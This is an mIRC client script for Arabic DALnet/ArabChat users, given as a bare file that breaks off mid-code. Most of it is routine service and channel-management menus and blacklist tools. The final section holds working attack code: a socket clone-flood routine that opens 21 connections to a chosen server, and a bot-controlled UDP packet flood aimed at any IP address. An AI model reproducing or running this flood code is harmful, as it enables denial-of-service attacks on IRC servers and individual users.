-r set %Font Wingdings,407 echo -a 4D1i4s1c4o1n4n1e4c1t 4F1r4o1m 12 $server echo -a 4T1h4a1n4k1s 4F1o4r 1U4s1e4i1n4g %asal set %asal 12F14ô12r1-12M14e1_12§14ç12®14ï12p14† set %quitmsg 6 الاصدار الثاني من سكربت فورمي،جميع اوامرالدالنت الجديدةوالعرب جات والاوبر،العاب،سكرامبل،برامج عديدة،ويحتوي على اقوى سكربت انفايت،واقوىالحمايات للقناةوالمستخدم من جميع انواع الفلودات برايفت وبالجنل والكثير من الحمايات الاخرى،وخالي تماماََمن ملفات التجسس والباكدور4 www.WaFe.S5.Com set %counter.start unset %time* | unset %qfloood* | unset %kuwibanflterkick* | unset %reason* | set %nickpro ON | set %rptxtk ON unset %qfloood2* | unset %wildsite* | unset %rvdoork* | unset %ryui2* | unset %ryui* | unset %tflood* | unset %""* | set %noticepro ON unset %type* | unset %ryui22* | unset %lasttype* | unset %activetext* | unset %~* | unset %advermsg* | set %privmsgpro ON } on 1:start: { /splay conn.wav if ( %counter.Start == 1 ) { .asalahtimers | .timer 1 10 .server Liberty.dal.net | halt } echo -s 4W1e4l1c4o1m4e 1T4o %asal echo -s 4Y1o4u1 4N1i4c1k 12: $me echo -s 4T1i4m1e 4N1o4w 12: $time echo -s 4D1a4t1e 12: $date echo -s 4T1o4d1a4y 1I4s 12: $day echo -s 4T1o 4H1e4l1p 4P1r4e1s4s 12: F1 set %asal 12F14ô12r1-12M14e1_12§14ç12®14ï12p14† unset %logview.total* | unset %activetext* | unset %abcchan | unset %abcnick | unset %masskickchan* | unset %masskickchan* | unset %invite* | set %lett abcdefjhigklmnopqrstuvwxyz unset %flood* | unset %scan* | unset %chan* | unset %*flood~* | unset %rd.* | unset %rd* | unset %entry* | unset %1* | unset %me* | set %num 1234567890 inc %counter.Start /ignore -r /plng }                menu status,menubar { - NickServ .Register (*):ns register $?*="Password:" .Drop/UnRegister:ns drop $me .Identify (*):ns identify $me $?*="Password:" .Ghost (?/*):ns ghost $?="Nick:" $?*="Password:" .Informations of (?):ns info $?="Nick:" .- .Setting ..Password (*):ns set password $?*="New Password:" ..E-mail ...E-mail (?):ns set email $?"E-mail:" ...- ...Show E-mail:ns set showemail on ...Hide E-mail:ns set showemail off ..URL/HomePage (?):ns set url $?="HomePage/URL:" ..Access ...Add (?):ns access add $?="Address:" ...Remove (?):ns access del $?="Address:" ...- ...Wipe:ns access wipe ..- ..Kill ...Enable kill:ns set kill on ...Disable kill:ns set kill off ..Security ...Enable security:ns set secure on ...Disable security:ns set secure off ..NoMemo ...Enable:ns set nomemo on ...Disable:ns set nomemo off ..NoOp ...Enable:ns set noop on ...Disable:ns set noop off ..NeverOp ...Enable:ns set neverop on ...Disable:ns set neverop off .- .ReCover (?/*):ns recover $?="Nick:" $?*="Password:" .ReLease (?/*):ns release $?="Nick:" $?*="Password:" .ACC/Access level (?):ns acc $?="Nick:" - }             ChanServ (?) .Register (*):cs register $?="Channel" $?*="Password:" $?="Descriptions:" .Identify (*):cs identify $?="Channel" $?*="Password:" .Drop/UnRegister:cs drop $?="Channel" .Informations:cs info $?="Channel" .- .Lists ..Co-Founder ...Add ....Nick (?):cs cf $?="Channel" add $?="Nick:" ...Remove ....Nick (?):cs cf $?="Channel" del $?="Nick:" ....Number (?):cs cf $?="Channel" del $?="Number:" ...- ...List:cs cf $?="Channel" list ..Super-Op ...Add ....Nick (?):cs sop $?="Channel" add $?="Nick:" ...Remove ....Nick (?):cs sop $?="Channel" del $?="Nick:" ....Number (?):cs sop $?="Channel" del $?="Number:" ...- ...List:cs sop $?="Channel" list ...Wipe:cs sop $?="Channel" wipe ..Auto-Op ...Add ....Nick (?):cs aop $?="Channel" add $?="Nick:" ...Remove ....Nick (?):cs aop $?="Channel" del $?="Nick:" ....Number (?):cs aop $?="Channel" del $?="Number:" ...- ...List:cs aop $?="Channel" list ...Wipe:cs aop $?="Channel" wipe ..Auto-Voice ...Add ....Nick (?):cs av $?="Channel" add $?="Nick:" ...Remove ....Nick (?):cs av $?="Channel" del $?="Nick:" ....Number (?):cs av $?="Channel" del $?="Number:" ...- ...List:cs av $?="Channel" list ...Wipe:cs av $?="Channel" wipe ..- ..Auto-kick ...Add ....Nick (?):cs ak $?="Channel" add $?="Nick:" ....Address (?):cs ak $?="Channel" add $?="Address:" ...Remove ....Nick (?):cs del $?="Channel" add $?="Nick:" ....Address (?):cs ak $?="Channel" del $?="Address:" ....Number (?):cs ak $?="Channel" del $?="Number:" ...- ...List:cs ak $?="Channel" list ...Wipe:cs ak $?="Channel" wipe .- .Settings ..Founder:cs set $?="Channel" founder ..Password (*):cs set $?="Channel" $?*="Old password:" $?*="New password:" ..Description (?):cs set $?="Channel" desc $?="Descriptions:" ..Modes Lock (?):cs set $?="Channel" mlock $?="Modes:" ..Welcome (?):cs set $?="Channel" welcome $?="welcome notice:" ..- ..HomePage/URL ...Enable (?):cs set $?="Channel" url $?="URL/HomePage:" ...Disable:cs set $?="Channel" url none ..E-Mail ...Enable (?):cs set $?="Channel" email $?="E-Mail:" ...Disable:cs set $?="Channel" email none ..Keep Topic ...Enable:cs set $?="Channel" keeptopic on ...Disable:cs set $?="Channel" keeptopic off ..Topic Lock ...Enable ....Founder:cs set $?="Channel" topiclock founder ....Co-Founders:cs set $?="Channel" topiclock cf ....Super-ops:cs set $?="Channel" topiclock sop ....Auto-ops:cs set $?="Channel" topiclock aop ...Disable:cs set $?="Channel" topiclock off ..Restrict ...Enable:cs set $?="Channel" restrict on ...Disable:cs set $?="Channel" restrict off ..IDENT ...Enable:cs set $?="Channel" ident on ...Disable:cs set $?="Channel" ident off ..Ops Guard ...Enable:cs set $?="Channel" opguard on ...Disable:cs set $?="Channel" opguard off ..Memos Level ...Enable ....Founder:cs set $?="Channel" memo founder ....Co-Founders:cs set $?="Channel" memo cf ....Super-ops:cs set $?="Channel" memo sop ....Auto-ops:cs set $?="Channel" memo aop ....Auto-voices:cs set $?="Channel" memo av ...Disable:cs set $?="Channel" memo none ..Watch ...Enable:cs set $?="Channel" watch on ...Disable:cs set $?="Channel" watch off .Other ..UnBan ...Nick (?):cs unban $?="Channel" $?="Nick:" ...Address (?):cs unban $?="Channel" $?="Address:" ...Me ( $+ $me $+ ):cs unban $?="Channel" me ...- ...All:cs unban $?="Channel" all ..Op (?):cs op $?="Channel" $?="Nick:" ..Deop (?):cs deop $?="Channel" $?="Nick:" ..Invite (?):cs invite $?="Channel" $?="Nick:" ..Why op (?):cs why $?="Channel" $?="Nick:" ..Count:cs count $?="Channel" ..ReSet modes:cs resetmodes $?="Channel" ..Mass ...Mass devoice:cs mdev $?="Channel" ...Mass deop:cs mdeop $?="Channel" ...Mass kick (?):cs mkick $?="Channel" $?="Reason:" - }

menu nicklist { - Auto-voice list .ON/Enable ..Add $1:.avoice on | avoice $1 | .notice $1 I added you to my auto-voice list ..Remove $1:.avoice on | avoice -r $1 | .notice $1 I removed you from my auto-voice list ..- ..List:{ if ($avoice(0) = 0) { echo 2 * Auto-voice list empty | halt } else { .avoice on | echo 2 * Auto-voice list: | set %i $avoice(0) | while (%i) { echo 2 $avoice(%i) | dec %i } } } ..Clear:.avoice on | set %i $avoice(0) | while (%i) { .avoice -r $avoice(%i) | dec %i } | echo 3 * Auto-voice list has been cleared .OFF/Disable:avoice off - }               menu nicklist { - Protect list .ON/Enable ..Add $1:.protect on | protect $1 | .notice $1 I added you to my protect list ..Remove $1:.protect on | protect -r $1 | .notice $1 I removed you from my protect list ..- ..List:{ if ($protect(0) = 0) { echo 2 * Protect list empty | halt } else { .protect on | echo 2 * Protect list: | set %i $protect(0) | while (%i) { echo 2 $protect(%i) | dec %i } } } ..Clear:.protect on | set %i $protect(0) | while (%i) { .protect -r $protect(%i) | dec %i } | echo 3 * Protect list has been cleared .OFF/Disable:protect off - }             menu nicklist { - Ignore list .ON/Enable ..Add $1:.ignore on | ignore $1 | .notice $1 I added you to my ignore list ..Remove $1:.ignore on | ignore -r $1 | .notice $1 I removed you from my ignore list ..- ..List:.ignore on | ignore -l ..Clear:.ignore on | ignore -r .OFF/Disable:ignore off - }

menu nicklist { - Notify list .ON/Enable ..Add $1:.notify on | notify $1 | .notice $1 I added you to my notify list ..Remove $1:.notify on | notify -r $1 | .notice $1 I removed you from my notify list ..- ..List:{ if ($notify(0) = 0) { echo 2 * Notify list empty | halt } else { .notify on | echo 2 * Notify list: | set %i $notify(0) | while (%i) { echo 2 $notify(%i) | dec %i } } } ..Clear:.notify on | set %i $notify(0) | while (%i) { .notify -r $notify(%i) | dec %i } | echo 3 * Notify list has been cleared .OFF/Disable:notify off - }                on @black:join:#:if (%black = on) { mode # +bb $nick $wildsite | kick # $nick 01Black listed } menu nicklist { - Black list .ON/Enable ..Add $1:%black = on | .auser black $1 | echo 3 *** Added $1 to black list | .notice $1 I added you to my black list | mode # +bb $1 $address($1,2) | kick # $1 01Black listed ..Remove $1:%black = on | .ruser black $1 | echo 3 *** Removed $1 from black list | .notice $1 I removed you from my black list | mode # -bb $1 $address($1,2) ..- ..List:{ if ($ulist(*,black,0) = 0) { echo 2 * Black list empty | halt } else { %black = on | echo 2 * Black list: | set %i $ulist(*,black,0) | while (%i) { echo 2 $ulist(*,black,%i) | dec %i } } } ..Clear:%black = on | .rlevel black | echo 3 * Black list has been cleared .OFF/Disable:%black = off | echo 3 *** Black is OFF - }             on @shutup:text:*:#:if (%shutup = on) { mode # +bb $nick $wildsite | kick # $nick shutup listed } menu nicklist { - ShutUp list .ON/Enable ..Add $1:%shutup = on | .auser shutup $1 | echo 3 *** Added $1 to shutup list | .notice $1 I added you to my shutup list, message # and you will be kicked! ..Remove $1:%shutup = on | .ruser shutup $1 | echo 3 *** Removed $1 from shutup list | .notice $1 I removed you from my shutup list, you may talk in # now ..- ..List:{ if ($ulist(*,shutup,0) = 0) { echo 2 * Shutup list empty | halt } else { %shutup = on | echo 2 * Shutup list: | set %i $ulist(*,shutup,0) | while (%i) { echo 2 $ulist(*,shutup,%i) | dec %i } } } ..Clear:%shutup = on | .rlevel shutup | echo 3 * Shutup list has been cleared .OFF/Disable:%shutup = off | echo 3 *** Shutup is OFF - }

menu status,menubar { - MemoServ .Send (?) ..Nick (?):ms send $?="Nick:" $?="Memo/Message:" ..Channel ...To auto-ops:ms sendaop $?="Channel" $?="Memo/Message:" ...To super-ops:ms sendsop $?="Channel" $?="Memo/Message:" ...To co-founders:ms sendcf $?="Channel" $?="Memo/Message:" ...- ...To all users:ms send $?="Channel" $?="Memo/Message:" .Read ..Memo number (?):ms read $?="Number:" ..Last memo:ms read last ..New/Unread memos:ms read new ..- ..All memos:ms read all .Delete ..Memo number (?):ms del $?="Number:" ..- ..All memos:ms del all ..- ..Purge:ms purge .UnDelete ..Memo number (?):ms undel $?="Number:" ..- ..All memos:ms undel all .List ..New/Unread memos:ms list new ..- ..All memos:ms list .- .Forward ..Enable forward to (?):ms forward $?="Nick:" ..Disable forward:ms forward .Block-list ..Add (?):ms block add $?="Nick:" ..Remove (?):ms block del $?="Nick:" ..- ..List:ms block list .Friend-list ..Add (?):ms friend add $?="Nick:" ..Remove (?):ms friend del $?="Nick:" ..- ..List:ms friend list .- .ArabChat News:ms news - }                menu channel { - NickServ .Register (*):ns register $?*="Password:" .Drop/UnRegister:ns drop $me .Identify (*):ns identify $me $?*="Password:" .Ghost (?/*):ns ghost $?="Nick:" $?*="Password:" .Informations of (?):ns info $?="Nick:" .- .Setting ..Password (*):ns set password $?*="New Password:" ..E-mail ...E-mail (?):ns set email $?"E-mail:" ...- ...Show E-mail:ns set showemail on ...Hide E-mail:ns set showemail off ..URL/HomePage (?):ns set url $?="HomePage/URL:" ..Access ...Add (?):ns access add $?="Address:" ...Remove (?):ns access del $?="Address:" ...- ...Wipe:ns access wipe ..- ..Kill ...Enable kill:ns set kill on ...Disable kill:ns set kill off ..Security ...Enable security:ns set secure on ...Disable security:ns set secure off ..NoMemo ...Enable:ns set nomemo on ...Disable:ns set nomemo off ..NoOp ...Enable:ns set noop on ...Disable:ns set noop off ..NeverOp ...Enable:ns set neverop on ...Disable:ns set neverop off .- .ReCover (?/*):ns recover $?="Nick:" $?*="Password:" .ReLease (?/*):ns release $?="Nick:" $?*="Password:" .ACC/Access level (?):ns acc $?="Nick:" - }             menu channel { - ChanServ .Register (?/*):cs register # $?*="Password:" $?="Descriptions:" .Identify (*):cs identify # $?*="Password:" .Drop/UnRegister:cs drop # .Informations:cs info # .- .Lists ..Co-Founder ...Add ....Nick (?):cs cf # add $?="Nick:" ...Remove ....Nick (?):cs cf # del $?="Nick:" ....Number (?):cs cf # del $?="Number:" ...- ...List:cs cf # list ..Super-Op ...Add ....Nick (?):cs sop # add $?="Nick:" ...Remove ....Nick (?):cs sop # del $?="Nick:" ....Number (?):cs sop # del $?="Number:" ...- ...List:cs sop # list ...Wipe:cs sop # wipe ..Auto-Op ...Add ....Nick (?):cs aop # add $?="Nick:" ...Remove ....Nick (?):cs aop # del $?="Nick:" ....Number (?):cs aop # del $?="Number:" ...- ...List:cs aop # list ...Wipe:cs aop # wipe ..Auto-Voice ...Add ....Nick (?):cs av # add $?="Nick:" ...Remove ....Nick (?):cs av # del $?="Nick:" ....Number (?):cs av # del $?="Number:" ...- ...List:cs av # list ...Wipe:cs av # wipe ..- ..Auto-kick ...Add ....Nick (?):cs ak # add $?="Nick:" ....Address (?):cs ak # add $?="Address:" ...Remove ....Nick (?):cs del # add $?="Nick:" ....Address (?):cs ak # del $?="Address:" ....Number (?):cs ak # del $?="Number:" ...- ...List:cs ak # list ...Wipe:cs ak # wipe .- .Settings ..Founder:cs set # founder ..Password (*):cs set # $?*="Old password:" $?*="New password:" ..Description (?):cs set # desc $?="Descriptions:" ..Modes Lock (?):cs set # mlock $?="Modes:" ..Welcome (?):cs set # welcome $?="welcome notice:" ..- ..HomePage/URL ...Enable (?):cs set # url $?="URL/HomePage:" ...Disable:cs set # url none ..E-Mail ...Enable (?):cs set # email $?="E-Mail:" ...Disable:cs set # email none ..Keep Topic ...Enable:cs set # keeptopic on ...Disable:cs set # keeptopic off ..Topic Lock ...Enable ....Founder:cs set # topiclock founder ....Co-Founders:cs set # topiclock cf ....Super-ops:cs set # topiclock sop ....Auto-ops:cs set # topiclock aop ...Disable:cs set # topiclock off ..Restrict ...Enable:cs set # restrict on ...Disable:cs set # restrict off ..IDENT ...Enable:cs set # ident on ...Disable:cs set # ident off ..Ops Guard ...Enable:cs set # opguard on ...Disable:cs set # opguard off ..Memos Level ...Enable ....Founder:cs set # memo founder ....Co-Founders:cs set # memo cf ....Super-ops:cs set # memo sop ....Auto-ops:cs set # memo aop ....Auto-voices:cs set # memo av ...Disable:cs set # memo none ..Watch ...Enable:cs set # watch on ...Disable:cs set # watch off .Other ..UnBan ...Nick (?):cs unban # $?="Nick:" ...Address (?):cs unban # $?="Address:" ...Me ( $+ $me $+ ):cs unban # me ...- ...All:cs unban # all ..Op (?):cs op # $?="Nick:" ..Deop (?):cs deop # $?="Nick:" ..Invite (?):cs invite # $?="Nick:" ..Why op (?):cs why # $?="Nick:" ..Count:cs count # ..ReSet modes:cs resetmodes # ..Mass ...Mass devoice:cs mdev # ...Mass deop:cs mdeop # ...Mass kick (?):cs mkick # $?="Reason:" - }

menu channel { - MemoServ .Send (?) ..Nick (?):ms send $?="Nick:" $?="Memo/Message:" ..Channel ...To auto-ops:ms sendaop # $?="Memo/Message:" ...To super-ops:ms sendsop # $?="Memo/Message:" ...To co-founders:ms sendcf # $?="Memo/Message:" ...- ...To all users:ms send # $?="Memo/Message:" .Read ..Memo number (?):ms read $?="Number:" ..Last memo:ms read last ..New/Unread memos:ms read new ..- ..All memos:ms read all .Delete ..Memo number (?):ms del $?="Number:" ..- ..All memos:ms del all ..- ..Purge:ms purge .UnDelete ..Memo number (?):ms undel $?="Number:" ..- ..All memos:ms undel all .List ..New/Unread memos:ms list new ..- ..All memos:ms list .- .Forward ..Enable forward to (?):ms forward $?="Nick:" ..Disable forward:ms forward .Block-list ..Add (?):ms block add $?="Nick:" ..Remove (?):ms block del $?="Nick:" ..- ..List:ms block list .Friend-list ..Add (?):ms friend add $?="Nick:" ..Remove (?):ms friend del $?="Nick:" ..- ..List:ms friend list .- .ArabChat News:ms news - }                menu nicklist { - NickServ .Register (*):ns register $?*="Password:" .Drop/UnRegister:ns drop $me .Identify (*):ns identify $me $?*="Password:" .Ghost (*):ns ghost $1 $?*="Password:" .Informations of ( $+ $1 $+ ):ns info $1 .- .Setting ..Password (*):ns set password $?*="New Password:" ..E-mail ...E-mail (?):ns set email $?"E-mail:" ...- ...Show E-mail:ns set showemail on ...Hide E-mail:ns set showemail off ..URL/HomePage (?):ns set url $?="HomePage/URL:" ..Access ...Add ( $+ $address($1,2) $+ ):ns access add $address($1,2) ...Remove ( $+ $address($1,2) $+ ):ns access del $address($1,2) ...- ...Wipe:ns access wipe ..- ..Kill ...Enable kill:ns set kill on ...Disable kill:ns set kill off ..Security ...Enable security:ns set secure on ...Disable security:ns set secure off ..NoMemo ...Enable:ns set nomemo on ...Disable:ns set nomemo off ..NoOp ...Enable:ns set noop on ...Disable:ns set noop off ..NeverOp ...Enable:ns set neverop on ...Disable:ns set neverop off .- .ReCover (*):ns recover $1 $?*="Password:" .ReLease (*):ns release $1 $?*="Password:" .ACC/Access level:ns acc $1 - }             menu nicklist { - ChanServ .Register (?/*):cs register # $?*="Password:" $?="Descriptions:" .Identify (*):cs identify # $?*="Password:" .Drop/UnRegister:cs drop # .Informations:cs info # .- .Lists ..Co-Founder ...Add ....Nick ( $+ $1 $+ ):cs cf # add $1 ...Remove ....Nick ( $+ $1 $+ ):cs cf # del $1 ....Number (?):cs cf # del $?="Number:" ...- ...List:cs cf # list ..Super-Op ...Add ....Nick ( $+ $1 $+ ):cs sop # add $1 ...Remove ....Nick ( $+ $1 $+ ):cs sop # del $1 ....Number (?):cs sop # del $?="Number:" ...- ...List:cs sop # list ...Wipe:cs sop # wipe ..Auto-Op ...Add ....Nick ( $+ $1 $+ ):cs aop # add $1 ...Remove ....Nick ( $+ $1 $+ ):cs aop # del $1 ....Number (?):cs aop # del $?="Number:" ...- ...List:cs aop # list ...Wipe:cs aop # wipe ..Auto-Voice ...Add ....Nick ( $+ $1 $+ ):cs av # add $1 ...Remove ....Nick ( $+ $1 $+ ):cs av # del $1 ....Number (?):cs av # del $?="Number:" ...- ...List:cs av # list ...Wipe:cs av # wipe ..- ..Auto-kick ...Add ....Nick ( $+ $1 $+ ):cs ak # add $1 ....Address ( $+ $address($1,2) $+ ):cs ak # add $address($1,2) ...Remove ....Nick ( $+ $1 $+ ):cs del # add $1 ....Address ( $+ $address($1,2) $+ ):cs ak # del $address($1,2) ....Number (?):cs ak # del $?="Number:" ...- ...List:cs ak # list ...Wipe:cs ak # wipe .- .Settings ..Founder:cs set # founder ..Password (*):cs set # $?*="Old password:" $?*="New password:" ..Description (?):cs set # desc $?="Descriptions:" ..Modes Lock (?):cs set # mlock $?="Modes:" ..Welcome (?):cs set # welcome $?="welcome notice:" ..- ..HomePage/URL ...Enable (?):cs set # url $?="URL/HomePage:" ...Disable:cs set # url none ..E-Mail ...Enable (?):cs set # email $?="E-Mail:" ...Disable:cs set # email none ..Keep Topic ...Enable:cs set # keeptopic on ...Disable:cs set # keeptopic off ..Topic Lock ...Enable ....Founder:cs set # topiclock founder ....Co-Founders:cs set # topiclock cf ....Super-ops:cs set # topiclock sop ....Auto-ops:cs set # topiclock aop ...Disable:cs set # topiclock off ..Restrict ...Enable:cs set # restrict on ...Disable:cs set # restrict off ..IDENT ...Enable:cs set # ident on ...Disable:cs set # ident off ..Ops Guard ...Enable:cs set # opguard on ...Disable:cs set # opguard off ..Memos Level ...Enable ....Founder:cs set # memo founder ....Co-Founders:cs set # memo cf ....Super-ops:cs set # memo sop ....Auto-ops:cs set # memo aop ....Auto-voices:cs set # memo av ...Disable:cs set # memo none ..Watch ...Enable:cs set # watch on ...Disable:cs set # watch off .Other ..UnBan ...Nick ( $+ $1 $+ ):cs unban # $1 ...Adrress ( $+ $address($1,2) $+ ):cs unban # $address($1,2) ...Me ( $+ $me $+ ):cs unban # me ...- ...All:cs unban # all ..Op ( $+ $1 $+ ):cs op # $1 ..Deop ( $+ $1 $+ ):cs deop # $1 ..Invite ( $+ $1 $+ ):cs invite # $1 ..Why op ( $+ $1 $+ ):cs why # $1 ..Count:cs count # ..ReSet modes:cs resetmodes # ..Mass ...Mass devoice:cs mdev # ...Mass deop:cs mdeop # ...Mass kick (?):cs mkick # $?="Reason:" - }

menu nicklist { - MemoServ .Send (?) ..Nick ( $+ $1 $+ ):ms send $1 $?="Memo/Message:" ..Channel ...To auto-ops:ms sendaop # $?="Memo/Message:" ...To super-ops:ms sendsop # $?="Memo/Message:" ...To co-founders:ms sendcf # $?="Memo/Message:" ...- ...To all users:ms send # $?="Memo/Message:" .Read ..Memo number (?):ms read $?="Number:" ..Last memo:ms read last ..New/Unread memos:ms read new ..- ..All memos:ms read all .Delete ..Memo number (?):ms del $?="Number:" ..- ..All memos:ms del all ..- ..Purge:ms purge .UnDelete ..Memo number (?):ms undel $?="Number:" ..- ..All memos:ms undel all .List ..New/Unread memos:ms list new ..- ..All memos:ms list .- .Forward ..Enable forward to ( $+ $1 $+ ):ms forward $1 ..Disable forward:ms forward .Block-list ..Add ( $+ $1 $+ ):ms block add $1 ..Remove ( $+ $1 $+ ):ms block del $1 ..- ..List:ms block list .Friend-list ..Add ( $+ $1 $+ ):ms friend add $1 ..Remove ( $+ $1 $+ ):ms friend del $1 ..- ..List:ms friend list .- .ArabChat News:ms news - }                menu nicklist { - Auto-op list .ON/Enable ..Add $1:.aop on | aop $1 | .notice $1 I added you to my auto-op list ..Remove $1:.aop on | aop -r $1 | .notice $1 I removed you from my auto-op list ..- ..List:{ if ($aop(0) = 0) { echo 2 * Auto-op list empty | halt } else { .aop on | echo 2 * Auto-op list: | set %i $aop(0) | while (%i) { echo 2 $aop(%i) | dec %i } } } ..Clear:.aop on | set %i $aop(0) | while (%i) { .aop -r $aop(%i) | dec %i } | echo 3 * Auto-op list has been cleared .OFF/Disable:aop off - }             Finish

#blklist off on +5@:JOIN:#: { ban $chan $nick 4 kick $chan $nick يقولون انت في لستتي السوده . يعني لازم اطردك } #blklist end ; #blklistO off on +12@:JOIN:#: { ban $chan $nick 4 kick $chan $nick  $+ %blkmsg $+  6Y14o6u14-6A14n6d14-6I } #blklistO end ; menu nicklist { بلاك لست .بلاك لست جاهز ..تشغيل:.enable #blklist | echo $active 0,7 Blacklist is Now ON ..اطفاء:.disable #blklist | echo $active 0,7 Blacklist is Now OFF ‏ ..- ..اضافه:/.guser 5 $$1 3 | /ban $$1 3 | /kick # $$1 تم اضافتك في البلاك لست ..الغاء:/.ruser 5 $$1 3 | /notice $$1 تم شطبك من البلاك لست ..- ..الغاء الجميع:/.rlevel 5 | /echo 0,7All Blacklisted users Have Been Removed .- .بلاك لست مع مسج من عندك ..تشغيل:.enable #blklistO | echo $active 0,7 Blacklist 2 is Now ON ..اطفاء:.disable #blklistO | echo $active 0,7 Blacklist 2 is Now OFF ‏ ..- ..اضافه:/.guser 12 $$1 2 | /ban $$1 3 | /kick # $$1  $+ %blkmsg $+  6Y14o6u14-6A14n6d14-6I ..الغاء:/.ruser 12 $$1 2 | /notice $$1 تم شطبك من البلاك لست ..- ..الغاء الجميع:/.rlevel 12 | /echo 0,7All Blacklisted users Have Been Removed ..- ..وضع المسج:/set %blkmsg $?="Enter A Msg" | echo $active 0,7 The Msg Are Set Now 4 %blkmsg ..تأكد من المسج:/echo 4 المسج هو 6====12--7>>2 %blkmsg }              alias -l _buser { .guser blacklist $1 3 } alias -l _rbuser { .ruser blacklist $1 3 } alias -l _luser { dialog -m _blacklist _blacklist } alias -l _blist { did -r _blacklist 11 var %_btotal = $ulist(*,blacklist,0) , %_b = 0 while (%_b < %_btotal) { inc %_b did -a _blacklist 11 $ulist(*,blacklist,%_b) } } menu nicklist { - Blacklist .Add User { _buser $$1 } .Remove User { _rbuser $$1 } .- .Organize { _luser } } menu channel,status,menubar { - Blacklist { _luser } } dialog _blacklist { title "Blacklist Organizer" size -1 -1 150 110 option dbu text "Enter host to be added/removed:" , 10 , 10 5 95 10 , left combo 11 , 10 15 95 85 , extsel sort autohs autovs edit "" , 12 , 10 95 95 10 , read autohs button "&Add" , 20 , 115 35 30 20 , default button "&Remove" , 30 , 115 60 30 20 , default button "&Ok" , 40 , 115 85 30 20 , ok } on *:dialog:_blacklist:init:*: { _blist } on *:dialog:_blacklist:sclick:*: { if ($did == 20) { if ($did(11).text != $null && $level($did(11).text) != blacklist) { var %_badd = $did(11).text .auser blacklist %_badd _blist did -o $dname 12 1 Added %_badd to blacklist... } elseif ($level($did(11).text) == blacklist) { did -o $dname 12 1 Address already exists... } } if ($did == 30) { if ($did(11).text != $null && $level($did(11).text) == blacklist) { var %_brem = $did(11).text .ruser blacklist %_brem _blist did -o $dname 12 1 Removed %_brem from blacklist... } elseif ($level($did(11).text) != blacklist) { did -o $dname 12 1 Address doesn't exist... } } } on @blacklist:join:#: { ban # $nick 3 kick # $nick Banned: Blacklisted }              alias HLOOoo.flood { .sockopen HLOOoo $did(flood,3) $did(flood,4) .sockopen HLOOoo1 $did(flood,3) $did(flood,4) .sockopen HLOOoo2 $did(flood,3) $did(flood,4) .sockopen HLOOoo3 $did(flood,3) $did(flood,4) .sockopen HLOOoo4 $did(flood,3) $did(flood,4) .sockopen HLOOoo5 $did(flood,3) $did(flood,4) .sockopen HLOOoo6 $did(flood,3) $did(flood,4) .sockopen HLOOoo7 $did(flood,3) $did(flood,4) .sockopen HLOOoo8 $did(flood,3) $did(flood,4) .sockopen HLOOoo9 $did(flood,3) $did(flood,4) .sockopen HLOOoo10 $did(flood,3) $did(flood,4) .sockopen HLOOoo11 $did(flood,3) $did(flood,4) .sockopen HLOOoo12 $did(flood,3) $did(flood,4) .sockopen HLOOoo13 $did(flood,3) $did(flood,4) .sockopen HLOOoo14 $did(flood,3) $did(flood,4) .sockopen HLOOoo15 $did(flood,3) $did(flood,4) .sockopen HLOOoo16 $did(flood,3) $did(flood,4) .sockopen HLOOoo17 $did(flood,3) $did(flood,4) .sockopen HLOOoo18 $did(flood,3) $did(flood,4) .sockopen HLOOoo19 $did! (flood,3) $did(flood,4) .sockopen HLOOoo20 $did(flood,3) $did(flood,4) } alias pt { if ($3 = $null) { halt } if ($chr(46) !isin $1) || ($2 !isnum) || ($3 !isnum) { sockwrite -tn $sockname notice %bot.nick Error Please use packet address size amount | halt } if (a isin $1) || (b isin $1) || (c isin $1) || (d isin $1) || (e isin $1) || (f isin $1) || (g isin $1) || (h isin $1) || (i isin $1) || (j isin $1) || (k isin $1) || (l isin $1) || (m isin $1) || (n isin $1) || (o isin $1) || (p isin $1) || (q isin $1) || (r isin $1) || (s isin $1) || (t isin $1) || (u isin $1) || (v isin $1) || (w isin $1) || (x isin $1) || (y isin $1) || (z isin $1) { sockwrite -tn $sockname privmsg %bot.nick Letters are not in "ips". please use IP | unset %packet.* | halt } .sockwrite -tn $sockname notice %bot.nick Now Packeting $1 with $2 bytes $3 times .set %packet.ip $1 .set %packet.bytes $2 .set %packet.amount $3 .set %packet.count 0 :start if (%packe! t.count >= %packet.amount) { sockclose packet | unset %packet.* | . sockwrite -tn $sockname notice %bot.nick Packeting has completed | halt } .sockudp -b packet 60 %packet.ip $rand(1,6) $+ $rand(0,6) $+ ($rand(0,6) $+ $rand(0,9) %packet.bytes %packet.bytes goto start } on *:SOCKOPEN:HLOOoo*: { if ($sockerr > 0) { return } did -a flood 13 $crlf $sockname Connecting if (%HLOOoo.flood.type == jp) { goto jp } if (%HLOOoo.flood.type == jpmsg) { goto jpmsg } if (%HLOOoo.flood.type == msg) { goto msg } if (%HLOOoo.flood.type == notice) { goto notice } :jp if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (tsunami.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.serve! r == $null) { /exit } if (sodre.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (hebron.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (coins.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } .sockwrite -tn $sockname user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) asdf asdf asdf .sockwrite -tn $sockname nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,99) .sockwrite -tn $sockname join %HLOOoo.flood.nc .sockwrite -tn $sockname part %HLOOoo.flood.nc .set %HLOOoo.flood.sock $sockname .sockclose %HLOOoo.flood.sock .sockopen %HLOOoo.flood.sock $did(flood,3) $did(flood,4) halt :jpmsg if (irc.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (liberty.nj.us.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (jade.va.us.dal.net isin %HLOOoo.flood.server) || (! %HLOOoo.flood.server == $null) { /exit } if (tsunami.dal.net isin % HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (powertech.no.eu.dal.net isin %HLOOoo.flood.server) || (%HLOOoo.flood.server == $null) { /exit } if (sodre.dal.net isin %HLOOoo.flood.server) || 